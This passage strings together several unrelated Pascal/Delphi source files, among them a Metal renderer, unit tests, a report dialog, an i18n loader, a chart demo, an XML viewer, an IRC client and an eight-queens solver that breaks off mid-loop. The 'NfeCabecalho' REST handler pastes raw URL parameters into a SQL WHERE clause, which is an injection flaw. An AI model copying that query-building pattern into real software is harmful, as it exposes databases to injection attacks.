colorChannels[dynamicChannelIndex] - DynamicColorRate; if colorChannels[dynamicChannelIndex] ≤ 0 then begin growing := true; end; end; var color: Color; color.red := colorChannels[0]; color.green := colorChannels[1]; color.blue := colorChannels[2]; color.alpha := colorChannels[3]; exit color; end; constructor MetalBaseDelegate initWithMetalKitView(const mtkView: not nullable MTKView); begin _device := mtkView.device; _commandQueue := _device.newCommandQueue; end; method MetalRenderer.drawInMTKView(view: not nullable MTKView); begin var color := makeFancyColor; view.clearColor := MTLClearColorMake(color.red, color.green, color.blue, color.alpha); var commandBuffer := _commandQueue.commandBuffer(); commandBuffer.label := 'MyCommand'; var renderPassDescriptor: MTLRenderPassDescriptor := view.currentRenderPassDescriptor; if renderPassDescriptor ≠ nil then begin var renderEncoder: IMTLRenderCommandEncoder := commandBuffer.renderCommandEncoderWithDescriptor(renderPassDescriptor); renderEncoder.label := 'MyRenderEncoder'; renderEncoder.endEncoding(); commandBuffer.presentDrawable(view.currentDrawable); end; commandBuffer.commit(); end; end.
unit NumeroNaturalTest; {$mode objfpc}{$H+} interface uses Classes, SysUtils, fpcunit, testutils, testregistry, NumeroNatural { Class de la cual se realiza el Test }; type { TNumeroNaturalTest } TNumeroNaturalTest= class(TTestCase) private numero : TNumeroNatural; protected procedure SetUp; override; procedure TearDown; override; published procedure setNumero(); procedure getNumero(); procedure sumar; procedure restar; procedure multiplicar; procedure dividir; procedure deleteLastDigit; end; implementation procedure TNumeroNaturalTest.SetUp; begin numero := TNumeroNatural.create; end; procedure TNumeroNaturalTest.TearDown; begin numero := Nil; end; procedure TNumeroNaturalTest.setNumero(); begin numero.setNumero(150); AssertEquals(numero.getNumero(), 150); end; procedure TNumeroNaturalTest.getNumero; begin numero.setNumero(98); AssertEquals(numero.getNumero(), 98); end; procedure TNumeroNaturalTest.deleteLastDigit; begin numero.setNumero(487); numero.deleteLastDigit; AssertEquals(numero.getNumero(), 48); end; procedure TNumeroNaturalTest.sumar; begin numero.setNumero(12); numero.sumar(13); AssertEquals(numero.getNumero(), 25); end; procedure TNumeroNaturalTest.restar; begin numero.setNumero(12); numero.restar(10); AssertEquals(numero.getNumero(), 2); end; procedure TNumeroNaturalTest.multiplicar; begin numero.setNumero(12); numero.multiplicar(2); AssertEquals(numero.getNumero(), 24); end; procedure TNumeroNaturalTest.dividir; begin numero.setNumero(120); numero.dividir(10); AssertEquals(numero.getNumero(), 12); end; end.
unit UDWindowSize; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, UCrpe32; type TCrpeWindowSizeDlg = class(TForm) pnlWindowSize: TPanel; lblTop: TLabel; lblLeft: TLabel; lblHeight: TLabel; lblWidth: TLabel; editLeft: TEdit; editTop: TEdit; editHeight: TEdit; editWidth: TEdit; btnOk: TButton; btnCancel: TButton; btnClear: TButton; procedure btnClearClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormShow(Sender: TObject); procedure UpdateWindowSize; procedure FormCreate(Sender: TObject); procedure btnOkClick(Sender: TObject); procedure btnCancelClick(Sender: TObject); procedure InitializeControls(OnOff: boolean); procedure editSizeEnter(Sender: TObject); procedure editSizeExit(Sender: TObject); private { Private declarations } public { Public declarations } Cr : TCrpe; rTop : smallint; rLeft : smallint; rWidth : smallint; rHeight : smallint; PrevSize : string; end; var CrpeWindowSizeDlg: TCrpeWindowSizeDlg; bWindowSize : boolean; implementation {$R *.DFM} uses UCrpeUtl; {------------------------------------------------------------------------------} { FormCreate } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.FormCreate(Sender: TObject); begin bWindowSize := True; LoadFormPos(Self); btnOk.Tag := 1; btnCancel.Tag := 1; end; {------------------------------------------------------------------------------} { FormShow } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.FormShow(Sender: TObject); begin {Store current VCL Settings} rTop := Cr.WindowSize.Top; rLeft := Cr.WindowSize.Left; rWidth := Cr.WindowSize.Width; rHeight := Cr.WindowSize.Height; UpdateWindowSize; end; {------------------------------------------------------------------------------} { UpdateWindowSize } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.UpdateWindowSize; begin {Enable/Disable controls} editTop.Text := IntToStr(Cr.WindowSize.Top); editHeight.Text := IntToStr(Cr.WindowSize.Height); editLeft.Text := IntToStr(Cr.WindowSize.Left); editWidth.Text := IntToStr(Cr.WindowSize.Width); end; {------------------------------------------------------------------------------} { InitializeControls } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.InitializeControls(OnOff: boolean); var i : integer; begin {Enable/Disable the Form Controls} for i := 0 to ComponentCount - 1 do begin if TComponent(Components[i]).Tag = 0 then begin if Components[i] is TButton then TButton(Components[i]).Enabled := OnOff; if Components[i] is TEdit then begin TEdit(Components[i]).Text := ''; if TEdit(Components[i]).ReadOnly = False then TEdit(Components[i]).Color := ColorState(OnOff); TEdit(Components[i]).Enabled := OnOff; end; end; end; end; {------------------------------------------------------------------------------} { editSizeEnter } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.editSizeEnter(Sender: TObject); begin if Sender is TEdit then PrevSize := TEdit(Sender).Text; end; {------------------------------------------------------------------------------} { editSizeExit } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.editSizeExit(Sender: TObject); begin if not IsNumeric(TEdit(Sender).Text) then TEdit(Sender).Text := PrevSize else begin if TEdit(Sender).Name = 'editTop' then Cr.WindowSize.Top := StrToInt(TEdit(Sender).Text); if TEdit(Sender).Name = 'editLeft' then Cr.WindowSize.Left := StrToInt(TEdit(Sender).Text); if TEdit(Sender).Name = 'editWidth' then Cr.WindowSize.Width := StrToInt(TEdit(Sender).Text); if TEdit(Sender).Name = 'editHeight' then Cr.WindowSize.Height := StrToInt(TEdit(Sender).Text); end; end; {------------------------------------------------------------------------------} { btnClearClick } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.btnClearClick(Sender: TObject); begin Cr.WindowSize.Clear; UpdateWindowSize; end; {------------------------------------------------------------------------------} { btnOkClick } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.btnOkClick(Sender: TObject); begin SaveFormPos(Self); editSizeExit(editTop); editSizeExit(editLeft); editSizeExit(editWidth); editSizeExit(editHeight); Close; end; {------------------------------------------------------------------------------} { btnCancelClick } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.btnCancelClick(Sender: TObject); begin Close; end; {------------------------------------------------------------------------------} { FormClose } {------------------------------------------------------------------------------} procedure TCrpeWindowSizeDlg.FormClose(Sender: TObject; var Action: TCloseAction); begin if ModalResult = mrCancel then begin {Restore Settings} Cr.WindowSize.Top := rTop; Cr.WindowSize.Left := rLeft; Cr.WindowSize.Width := rWidth; Cr.WindowSize.Height := rHeight; end; bWindowSize := False; Release; end; end.
unit NfeCabecalho; {$mode objfpc}{$H+} interface uses HTTPDefs, BrookRESTActions, BrookUtils; type TNfeCabecalhoOptions = class(TBrookOptionsAction) end; TNfeCabecalhoRetrieve = class(TBrookRetrieveAction) procedure Request({%H-}ARequest: TRequest; AResponse: TResponse); override; end; TNfeCabecalhoShow = class(TBrookShowAction) end; TNfeCabecalhoCreate = class(TBrookCreateAction) end; TNfeCabecalhoUpdate = class(TBrookUpdateAction) end; TNfeCabecalhoDestroy = class(TBrookDestroyAction) end; implementation procedure TNfeCabecalhoRetrieve.Request(ARequest: TRequest; AResponse: TResponse); var Campo: String; Filtro: String; begin Campo := Values['campo'].AsString; Filtro := Values['filtro'].AsString; Values.Clear; Table.Where(Campo + ' LIKE "%' + Filtro + '%"'); inherited Request(ARequest, AResponse); end; initialization TNfeCabecalhoOptions.Register('nfe_cabecalho', '/nfe_cabecalho'); TNfeCabecalhoRetrieve.Register('nfe_cabecalho', '/nfe_cabecalho/:campo/:filtro/'); TNfeCabecalhoShow.Register('nfe_cabecalho', '/nfe_cabecalho/:id'); TNfeCabecalhoCreate.Register('nfe_cabecalho', '/nfe_cabecalho'); TNfeCabecalhoUpdate.Register('nfe_cabecalho', '/nfe_cabecalho/:id'); TNfeCabecalhoDestroy.Register('nfe_cabecalho', '/nfe_cabecalho/:id'); end.
unit uinternationalization; (* ╔══════════════════════════════════════╗ ║ i18n PROJECT ║ ║ ----------------------------------- ║ ║ created by: warleyalex ║ ╚══════════════════════════════════════╝ *) {$mode objfpc}{$H+} interface uses JS, Web, Types, Math, Classes, SysUtils, uutils, unit1; type { TJSi18n } TJSi18n = class(TObject) private (* Private declarations *) xhttp: TJSXMLHttpRequest; langDocument: JSValue; //procedure bindEvent(element: TJSElement; EventType: String; handler: JEventListenerHandler); protected (* Protected declarations *) procedure init; procedure switchLanguage(language: JSValue); procedure processLangDocument; public (* Public declarations *) constructor Create; function DoFormLoad(Event: TEventListenerEvent): boolean; function DoFormAbort(Event: TEventListenerEvent): boolean; published (* Published declarations *) procedure InitializeObject; end; implementation { TJSi18n } constructor TJSi18n.Create; begin { ╔═══════════════════════════════════════════════════════════════════════════╗ ║ Since the document fragment is in memory and not part of the main DOM ║ ║ tree, appending children to it does not cause page reflow (computation ║ ║ of elements position and geometry). Consequently, using documentfragments ║ ║ often results in better performance. ║ ╚═══════════════════════════════════════════════════════════════════════════╝ } end; procedure TJSi18n.processLangDocument; var tags: TJSNodeList; l: TJSArray; i: integer; function LforEach(value: JSValue; index: NativeInt; anArray : TJSArray) : Boolean; var key: String; begin key := String( TJSObject(TJSHTMLElement(value).dataset).Properties['languagekey'] ); if( TJSObject(langDocument)[key] ) then TJSElement (l.Elements[index]).innerText:= String( TJSObject(langDocument)[key] ); end; begin tags := document.querySelectorAll('span,img,a,label,li,option,h1,h2,h3,h4,h5,h6'); l:= TJSArray.new; for i:=0 to tags.length - 1 do l.push(tags[i]); l.forEach( @LforEach ); end; function TJSi18n.DoFormLoad(Event: TEventListenerEvent): boolean; begin if (xhttp.status = 200) and (xhttp.readyState = 4) then begin // If successful langDocument := TJSJSON.parse(xhttp.responseText); processLangDocument(); end; result := true; end; function TJSi18n.DoFormAbort(Event: TEventListenerEvent): boolean; begin //ShowMessage('Failed to load form HTML template file'); WriteLn('Failed to load form HTML template file'); Result := true; end; procedure TJSi18n.init; var tmp: TJSHTMLCollection; languages: TJSArray; i: integer; el: TJSHTMLElement; procedure languageCallBack(event: TJSEvent); begin switchLanguage ( (TJSHTMLElement(event.target).dataset).Properties['lang'] ); end; function languageforEach(value: JSValue; index: NativeInt; anArray : TJSArray) : Boolean; begin JElement (languages.Elements[index]).addEventListener('click', @languageCallBack); end; begin tmp := document.getElementsByClassName('language'); languages := TJSArray.new(); for i:=0 to tmp.Length - 1 do languages.push(tmp[i]); languages.forEach( @languageforEach ); end; procedure TJSi18n.switchLanguage(language: JSValue); begin xhttp := TJSXMLHttpRequest.new(); xhttp.addEventListener('load', @DoFormLoad); xhttp.addEventListener('abort', @DoFormAbort); xhttp.open('GET', 'i18n/' + String(language) + '.json', true); xhttp.setRequestHeader('Content-type','application/json'); xhttp.setRequestHeader('Cache-Control','no-cache'); xhttp.send(); end; procedure TJSi18n.InitializeObject; begin console.log('i18n1.InitializeObject'); init; end; end.
unit Demo.Miscellaneous.Overlays; interface uses System.Classes, Demo.BaseFrame, cfs.GCharts; type TDemo_Miscellaneous_Overlays = class(TDemoBaseFrame) public procedure GenerateChart; override; end; implementation procedure TDemo_Miscellaneous_Overlays.GenerateChart; var Chart: IcfsGChartProducer; // Defined as TInterfacedObject No need try..finally begin Chart := TcfsGChartProducer.Create; Chart.ClassChartType := TcfsGChartProducer.CLASS_LINE_CHART; // Data Chart.Data.DefineColumns([ TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Threat'), TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Attacks') ]); Chart.Data.AddRow(['Chandrian', 38]); Chart.Data.AddRow(['Ghosts', 12]); Chart.Data.AddRow(['Ghouls', 6]); Chart.Data.AddRow(['UFOs', 44]); Chart.Data.AddRow(['Vampires', 28]); Chart.Data.AddRow(['Zombies', 88]); // Options Chart.Options.Title('Overlay Example'); Chart.Options.Legend('position', 'none'); Chart.Options.colors(['#760946']); Chart.Options.VAxis('gridlines', '{cont: 4}'); // Generate GChartsFrame.DocumentInit; GChartsFrame.DocumentSetCSS('<style>.chartWithOverlay {position: relative; width: 700px;}.overlay {width: 200px; height: 200px; position: absolute; top: 60px; /* chartArea top */ left: 180px; /* chartArea left */ } </style>'); GChartsFrame.DocumentSetBody( '<div class="chartWithOverlay">' + ' <div id="linechart" style="width: 700px; height: 500px;"></div>' + ' <div class="overlay">' + ' <div style="font-family:''Arial Black''; font-size: 128px;">88</div>' + ' <div style="color: #b44; font-family:''Arial Black''; font-size: 32px; letter-spacing: .21em; margin-left:5px;">zombie</div>' + ' <div style="color: #444; font-family:''Arial Black''; font-size: 32px; letter-spacing: .15em; margin-left:5px;">attacks</div>' + ' </div>' + '</div>' ); GChartsFrame.DocumentGenerate('linechart', Chart); GChartsFrame.DocumentPost; end; initialization RegisterClass(TDemo_Miscellaneous_Overlays); end.
unit Validador.UI.VisualizarXML; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, System.Actions, Vcl.ActnList, Vcl.ComCtrls, Vcl.ToolWin, Vcl.StdCtrls, Xml.xmldom, Xml.XMLIntf, Xml.XMLDoc, Xml.Win.msxmldom, Xml.omnixmldom, Xml.adomxmldom; type TVisualizarXML = class(TFrame) memoXML: TMemo; ToolBar1: TToolBar; ToolButton1: TToolButton; ActionList: TActionList; actAbrirArquivo: TAction; ToolButton2: TToolButton; actSalvarArquivo: TAction; OpenDialog: TOpenDialog; SaveDialog: TSaveDialog; actSelecionarTudo: TAction; actCopiarXML: TAction; ToolButton3: TToolButton; procedure actAbrirArquivoExecute(Sender: TObject); procedure actSalvarArquivoExecute(Sender: TObject); procedure actSelecionarTudoExecute(Sender: TObject); procedure actCopiarXMLExecute(Sender: TObject); private function GetXML: WideString; procedure ConfigurarXML(const AXMLDocument: IXMLDocument); public procedure AfterConstruction; override; procedure SetDiretorioBase(const ADiretorioBase: string); procedure SetXML(const AXML: TStrings); function GetXMLDocument: IXMLDocument; property Xml: WideString read GetXML; end; implementation {$R *.dfm} uses Validador.Data.dbChangeXML; procedure TVisualizarXML.AfterConstruction; begin inherited; memoXML.Lines.DefaultEncoding := TUTF8Encoding.UTF8; end; procedure TVisualizarXML.actAbrirArquivoExecute(Sender: TObject); begin if Not OpenDialog.Execute then Exit; memoXML.Lines.LoadFromFile(OpenDialog.FileName); end; procedure TVisualizarXML.actCopiarXMLExecute(Sender: TObject); begin actSelecionarTudo.Execute; memoXML.CopyToClipboard; end; procedure TVisualizarXML.actSalvarArquivoExecute(Sender: TObject); var _xmlDocument: IXMLDocument; _stream: TMemoryStream; begin if not SaveDialog.Execute then Exit; _xmlDocument := GetXMLDocument; _xmlDocument.SaveToFile(SaveDialog.FileName); _stream := TMemoryStream.Create; try _xmlDocument.SaveToStream(_stream); _stream.Position := 0; _stream.SaveToFile(SaveDialog.FileName); finally FreeAndNil(_stream); end; end; procedure TVisualizarXML.actSelecionarTudoExecute(Sender: TObject); begin memoXML.SelectAll; end; function TVisualizarXML.GetXML: WideString; var _xmlDocument: IXMLDocument; begin _xmlDocument := GetXMLDocument; Result := _xmlDocument.Xml.Text; end; function TVisualizarXML.GetXMLDocument: IXMLDocument; var _xmlDocument: IXMLDocument; begin _xmlDocument := LoadXMLData(memoXML.Text); ConfigurarXML(_xmlDocument); Result := _xmlDocument; end; procedure TVisualizarXML.ConfigurarXML(const AXMLDocument: IXMLDocument); begin AXMLDocument.Options := [doNodeAutoCreate, doNodeAutoIndent, doAttrNull, doAutoPrefix, doNamespaceDecl, doAutoSave]; AXMLDocument.Active := True; end; procedure TVisualizarXML.SetDiretorioBase(const ADiretorioBase: string); begin OpenDialog.InitialDir := ADiretorioBase; SaveDialog.InitialDir := ADiretorioBase; end; procedure TVisualizarXML.SetXML(const AXML: TStrings); var _stream: TMemoryStream; begin _stream := TMemoryStream.Create; try AXML.SaveToStream(_stream); _stream.Position := 0; memoXML.Lines.Clear; memoXML.Lines.LoadFromStream(_stream); finally FreeAndNil(_stream); end; end; end.
{---------------------------------------------------------------- Nome: UntPrincipal Descrição: Unit do FrmPrincipal, nesta unit se encontram os principais métodos do wIRC: -procedure ProcMsg(Janela: string; Menssagem: string); -procedure AtlNick(Nick: string; NvNick: string); -procedure RolarTexto(Texto: TwwDBRichEdit); -procedure ProcChaMsg(Janela: string; Menssagem: string); -procedure AdNick(Nick, Canal: string); -procedure RmNick(Nick, Canal: string); As descrições individuais estão na implementação de cada uma. ----------------------------------------------------------------} unit UntPrincipal; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Menus, StdCtrls, ComCtrls, ScktComp, IniFiles, ExtCtrls, IRCUtils, StrUtils, OleCtrls, ImgList, Buttons, ToolWin, IAeverButton, FatThings; type {Objeto de configuração do wIRC} TwIRCConfig = record {Geral} IniServidor: string; IniPorta: integer; IniNome: string; IniEmail: string; IniNick: string; end; TEstIRC = (eiConectado, eiDesconectado, eiAway); TFrmPrincipal = class(TForm) ClientePrincipal: TClientSocket; TmrPingPong: TTimer; ImlIcones: TImageList; MnuPrincipal: TMainMenu; MnuArquivo: TMenuItem; MniArqConectar: TMenuItem; MniArqDesconectar: TMenuItem; Separador1: TMenuItem; MniArqSair: TMenuItem; MnuOpcoes: TMenuItem; MniOpcDepurador: TMenuItem; MniOpcConfig: TMenuItem; BarraJanelas: TPanel; procedure FormCreate(Sender: TObject); procedure ClientePrincipalConnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientePrincipalDisconnect(Sender: TObject; Socket: TCustomWinSocket); procedure TmrPingPongTimer(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure ClientePrincipalRead(Sender: TObject; Socket: TCustomWinSocket); procedure MniArqConectarClick(Sender: TObject); procedure MniArqDesconectarClick(Sender: TObject); procedure MniOpcConfigClick(Sender: TObject); procedure MniOpcDepuradorClick(Sender: TObject); procedure MniArqSairClick(Sender: TObject); private public IniConfig: TIniFile; Configuracao: TwIRCConfig; EstIRC: TEstIRC; DirwIRC: string; procedure ProcMsg(Janela: string; Menssagem: string); procedure AtlNick(Nick: string; NvNick: string); procedure RolarTexto(var Texto: TFatMemo); procedure ProcChaMsg(Janela: string; Menssagem: string); procedure AdNick(Nick, Canal: string; CriarJanela: boolean); procedure RmNick(Nick, Canal: string); procedure AbrirPvt(Nick: string); end; var FrmPrincipal: TFrmPrincipal; Buffer: string; ArqScript: TStringList; implementation uses UntDepurador, UntConfiguracao, SrvAnalisesUtils, UntProcMsgIRC, UntFuncoes, UntwIRCCanal, UntwIRCStatus, UntwIRCPVT; {$R *.DFM} procedure TFrmPrincipal.ProcMsg(Janela: string; Menssagem: string); { Procedure para processar uma menssagem privada. Funcionamento: Procura uma janela que tenha o Caption = Janela e chama o método AdLinha(Menssagem). Caso esta janela não exista ela será criada e o mesmo método será chamado. } var Contador: integer; NovoPVT, PVT: TwIRCPVT; Encontrado: boolean; TipoForm: string; begin {WARNING - Mudar para IS} Encontrado:=false; TipoForm:='TwIRCPVT'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin {Procura a janela} if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin PVT:=(FrmPrincipal.MDIChildren[Contador] as TwIRCPVT); if (AnsiCompareText(PVT.Nick, Janela) = 0) then begin PVT.AdLinha(Menssagem); Encontrado:=true; end; end; end; if not Encontrado then begin {Não encontrada, cria nova} NovoPVT:=TwIRCPVT.Create(Self); NovoPVT.Nick:=Janela; NovoPVT.Barra.Caption:=Janela; NovoPVT.Barra.Hint:=Janela; {Adiciona menssagem a janela} NovoPVT.AdLinha(Menssagem); end; end; procedure TFrmPrincipal.AtlNick(Nick: string; NvNick: string); { Esta procedure atualiza o Caption da janela de um usuário que mudou de nick e a listagem deste em um canal. Funcionamento: Procura uma janela em que Caption = Nick e coloca Caption := NvNick } var Contador: integer; PVT: TwIRCPVT; TipoForm: string; begin {WARNING - Mudar para IS} TipoForm:='TwIRCPVT'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin PVT:=(FrmPrincipal.MDIChildren[Contador] as TwIRCPVT); if (AnsiCompareText(PVT.Nick, Nick) = 0) then PVT.Nick:=NvNick; end; end; end; procedure TFrmPrincipal.FormCreate(Sender: TObject); begin {Pega diretório do wIRC} GetDir(0, DirwIRC); {o wIRC vai iniciar desconectado(óbvio)} EstIRC:=eiDesconectado; {Inicia objeto INI} IniConfig:=TIniFile.Create(DirwIRC + '\Config.ini'); end; procedure TFrmPrincipal.ClientePrincipalConnect(Sender: TObject; Socket: TCustomWinSocket); { Estabelece conexão, enviando as informações sobre o cliente como nick, servidor, nome real, email... } begin Socket.SendText(Format('USER %s %s %s :%s',[Configuracao.IniEmail, Socket.LocalHost, Configuracao.IniServidor, Configuracao.IniNome]) + #13+#10); Socket.SendText(Format('NICK %s', [Configuracao.IniNick]) + #13+#10); EstIRC:=eiConectado; TmrPingPong.Enabled:=true; end; procedure TFrmPrincipal.ClientePrincipalDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin TmrPingPong.Enabled:=false; EstIRC:=eiDesconectado; end; {TEMP} procedure TFrmPrincipal.TmrPingPongTimer(Sender: TObject); begin with ClientePrincipal do begin Socket.SendText('PONG :' + Configuracao.IniServidor + #13 + #10); wIRCStatus.AdLinha('PING -> PING OK'); end; end; {TEMP} procedure TFrmPrincipal.FormClose(Sender: TObject; var Action: TCloseAction); var Contador: integer; { Quando o wIRC finalizar ocorre a chamada do evento AoFinalizar do Script. } begin {Libera todos os forms da memória, antes de fechar} for Contador:=0 to Self.MDIChildCount - 1 do Self.MDIChildren[Contador].Release; end; procedure TFrmPrincipal.RolarTexto(var Texto: TFatMemo); { Procedure que trabalha com a API do windows, que tem por função rolar um campos de texto do tipo TMemo. } begin SendMessage(Texto.Handle, EM_SCROLL, SB_BOTTOM, 0); end; procedure TFrmPrincipal.ProcChaMsg(Janela, Menssagem: string); { Esta procedure tem por função adicionar menssagens a uma janela de canal. Funcionamento: Procura um canal e depois adiciona menssagem a esta janela invocando o procedimento AdLinha(Menssagem). } var Contador: integer; CanalAtual: TwIRCCanal; TipoForm: string; begin {WARNING - Mudar para IS} TipoForm:='TwIRCCanal'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin {Procura a janela} if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin CanalAtual:=(FrmPrincipal.MDIChildren[Contador] as TwIRCCanal); if (AnsiCompareText(CanalAtual.Canal, Janela) = 0) then begin CanalAtual.AdLinha(Menssagem); end; end; end; end; procedure TFrmPrincipal.ClientePrincipalRead(Sender: TObject; Socket: TCustomWinSocket); { Procedure automática do evento OnRead do cliente. Esta rotina verifica se o comando recebido está completo( termina com quebra de linha). Caso o comando não esteja completo ele será armazenado em Buffer e irá agurdar o recebimento de uma string que termine com quebra de linha, esta string será somada com o Buffer então será processada normalmente } var QbrLinha, TamTotal: integer; TextoReceb: string; begin TextoReceb:=Socket.ReceiveText; TextoReceb:=Buffer + TextoReceb; TamTotal:=Length(TextoReceb); QbrLinha:=UltQuebra(TextoReceb); if (QbrLinha = TamTotal) then begin Chomp(TextoReceb); ProcMsgIRC(TextoReceb); FrmDepurador.AdLinha(TextoReceb); Buffer:=''; end else begin Buffer:=TextoReceb; end; end; procedure TFrmPrincipal.AdNick(Nick, Canal: string; CriarJanela: boolean); { Esta procedure tem duas funções diferentes: -Criar janelas de canais -Adicionar nicks a uma janela de canais Funcionamento: Verifica-se a existência de um canal aberto com o nome dado e adiciona o nick. Caso o canal não exista ele será criado e o nick será adicionado } var Contador: integer; NovoCanal, CanalAtual: TwIRCCanal; Encontrado: boolean; TipoForm: string; begin {WARNING - Mudar para IS} Encontrado:=false; TipoForm:='TwIRCCanal'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin {Procura a janela} if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin CanalAtual:=(FrmPrincipal.MDIChildren[Contador] as TwIRCCanal); if (CanalAtual.Canal = Canal) then begin CanalAtual.AdNick(Nick); Encontrado:=true; end; end; end; if not (Encontrado) and (CriarJanela) then begin {Não encontrada, cria nova} NovoCanal:=TwIRCCanal.Create(Self); NovoCanal.Canal:=Canal; NovoCanal.Barra.Caption:=Canal; NovoCanal.Barra.Hint:=Canal; {Adiciona o nick a lista} NovoCanal.AdNick(Nick); end; end; procedure TFrmPrincipal.RmNick(Nick, Canal: string); { Procedure para remover um nick de uma determinada janela de um canal Funcionamento: Procura a janela e chama o procedimento correspondente para remover o nick } var Contador: integer; CanalAtual: TwIRCCanal; TipoForm: string; begin {WARNING - Mudar para IS} TipoForm:='TwIRCCanal'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin {Procura a janela} if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin CanalAtual:=(FrmPrincipal.MDIChildren[Contador] as TwIRCCanal); if (AnsiCompareText(CanalAtual.Canal, Canal) = 0) then begin {Chama procedimento para remover o nick} CanalAtual.RmNick(Nick); end; end; end; end; procedure TFrmPrincipal.MniArqConectarClick(Sender: TObject); begin {Carrega informações de configurações} Configuracao.IniServidor:=IniConfig.ReadString('Geral', 'Servidor', ''); Configuracao.IniPorta:=IniConfig.ReadInteger('Geral', 'Porta', 6667); Configuracao.IniNome:=IniConfig.ReadString('Geral', 'Nome', ''); Configuracao.IniEmail:=IniConfig.ReadString('Geral', 'Email', ''); Configuracao.IniNick:=IniConfig.ReadString('Geral', 'Nick', ''); {Coloca informações no cliente IRC(Socket)} ClientePrincipal.Host:=Configuracao.IniServidor; ClientePrincipal.Port:=Configuracao.IniPorta; {Ativa conexão} ClientePrincipal.Active:=true; end; procedure TFrmPrincipal.MniArqDesconectarClick(Sender: TObject); begin ClientePrincipal.Socket.SendText(Format('QUIT :%s', ['Saindo...']) + #13+#10); ClientePrincipal.Socket.Close; end; procedure TFrmPrincipal.MniOpcConfigClick(Sender: TObject); begin FrmConfiguracoes.ShowModal; end; procedure TFrmPrincipal.MniOpcDepuradorClick(Sender: TObject); { Controle da janela do depurador } begin if not (MniOpcDepurador.Checked) then begin MniOpcDepurador.Checked:=true; FrmDepurador.Show; end else begin MniOpcDepurador.Checked:=false; FrmDepurador.Close; end; end; procedure TFrmPrincipal.MniArqSairClick(Sender: TObject); begin Close; end; procedure TFrmPrincipal.AbrirPvt(Nick: string); { Procedure para processar uma menssagem privada. Funcionamento: Procura uma janela que tenha o Caption = Janela e chama o método AdLinha(Menssagem). Caso esta janela não exista ela será criada e o mesmo método será chamado. } var Contador: integer; NovoPVT, PVT: TwIRCPVT; Encontrado: boolean; TipoForm: string; begin {WARNING - Mudar para IS} Encontrado:=false; TipoForm:='TwIRCPVT'; for Contador:=0 to FrmPrincipal.MDIChildCount - 1 do begin {Procura a janela} if (FrmPrincipal.MDIChildren[Contador].ClassName = TipoForm) then begin PVT:=(FrmPrincipal.MDIChildren[Contador] as TwIRCPVT); if (AnsiCompareText(PVT.Nick, Nick) = 0) then begin PVT.BringToFront; Encontrado:=true; end; end; end; if not Encontrado then begin {Não encontrada, cria nova} NovoPVT:=TwIRCPVT.Create(Self); NovoPVT.Nick:=Nick; NovoPVT.Barra.Caption:=Nick; NovoPVT.Barra.Hint:=Nick; NovoPVT.BringToFront; end; end; end.
(* Category: SWAG Title: ANYTHING NOT OTHERWISE CLASSIFIED Original name: 0073.PAS Description: Eight Queens Author: PIGEON STEVEN Date: 01-27-94 12:19 *) { pigeons@JSP.UMontreal.CA (Pigeon Steven) > Hey, I have a friend who is taking a Pascal class at another col- >lege and he asked me to make a query of you all. Basically, he has to >do the "eight queens" on a chessboard (with none of them interfering >vertically, horizontally, or diagonally with each other) problem in >Pascal. The program has to use stacks. Its input is the number of >queens (the dimensions of the chessboard are that number x that number). >The output is that it can't be done with that number of queens or a >grid of the queens and either empty spaces or dashes. I was wondering >if any of you had any similar programs in old code lying around, and if >so if you could send it to me. My friend says it's a pretty classic >problem for programmers, so I figured I'd ask. Oh, and in case some of >you think that I am this "friend", the only Pascal course here at Brown >(cs15) has already done its job with stacks, and it wasn't this. Btw, >speaking of cs here, it's Object-Oriented; my friend's program needs to >be done procedureally (straight-line), not in OOPas. I thank you all >for your indulgence in allowing me to post this. Please don't flame me, >as I am only trying to help out a friend. If there is a more appropriate >place for me to post this, please tell me (I am going to post this to >cs groups if possible). Oh, and as I don't get around here often, I >would appreciate it much if any and all replies were sent to the address >below. Thanx, > Here's a programm that does that. It's a little bit strange, but I put extra code so the board would not be passed as a parameter (since Turbo Profiler said :"Hey, 75% of your run time goes in copy of the board"). The file is name REINES5.PAS (litterally QUEENS5.PAS) and it's limited (so to say) to 64x64 boards (with 64 queens on it). It is fast enough. } program Probleme_des_reines; const max = 64; libre = 8; reine = 8; const colname:string = 'abcdefghijklmnopqrstuvwxyz'+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'+ 'αßΓτΣσµΦΘΩδ'; type echiquier = array[1..max,1..max] of byte; var sol,recursions:longint; top:word; Reines,Attaques:echiquier; function min(a,b:integer):integer; begin if a<b then min:=a else min:=b; end; procedure mark(x,y:integer); var t,g,i:integer; begin for t:=y+1 to top do inc(attaques[x,t]); t:=x+1; g:=y+1; for i:=1 to min(top-t,top-g)+1 do begin inc(attaques[t,g]); inc(t); inc(g); end; t:=x-1; g:=y+1; if t>0 then for i:=1 to min(top-g+1,t) do 